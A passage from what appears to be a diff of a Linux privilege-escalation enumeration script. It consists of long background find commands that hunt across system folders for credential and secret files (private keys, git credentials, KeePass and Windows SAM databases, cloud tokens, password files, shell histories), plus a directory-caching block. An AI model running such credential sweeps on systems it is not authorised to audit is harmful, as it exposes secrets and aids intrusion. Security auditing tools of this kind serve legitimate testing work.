\"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYS=`eval_bckgrd "find /sys -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYSTEM=`eval_bckgrd "find /system -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SYSTEMD=`eval_bckgrd "find /systemd -name \"rocketchat.service\" -o -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_TMP=`eval_bckgrd "find /tmp -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"agent*\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_USR=`eval_bckgrd "find /usr -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"ssh*config\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_VAR=`eval_bckgrd "find /var -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -type d -name \"mysql\" -o -name \"bind\" -o -name \".irssi\" -o -name \"sentry\" -o -name \"kube-proxy\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"kubernetes\" -o -name \"system.d\" -o -name \"couchdb\" -o -name \"system-connections\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"kubelet\" -o -name \"ldap\" -o -name \"environments\" -o -name \"pam.d\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"setupinfo\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"drives.xml\" -o -name \"access.log\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"racoon.conf\" -o -name \"elasticsearch.y*ml\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"agent*\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"exports\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"*knockd*\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"ssh*config\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` wait # Always wait at the end CONT_THREADS=0 #Reset the threads counter +elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then + + printf $GREEN"Caching directories "$NC + + CONT_THREADS=0 + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o -name \".cloudflared\" -o -name \"logstash\" -o -name \".kube*\" -o -name \"sites-enabled\" -o -name \"filezilla\" -o -name \"postfix\" -o -name \"roundcube\" -o -name \"keyrings\" -o -name \"zabbix\" -o -name \"ldap\" -o -name \"environments\" -o -name \".password-store\" -o -name \"cacti\" -o -name \"seeddms*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"mysql\" -o -name \".irssi\" -o -name \"sentry\" -o -name \".svn\" -o -name \"neo4j\" -o -name \".vnc\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \".bluemix\" -o 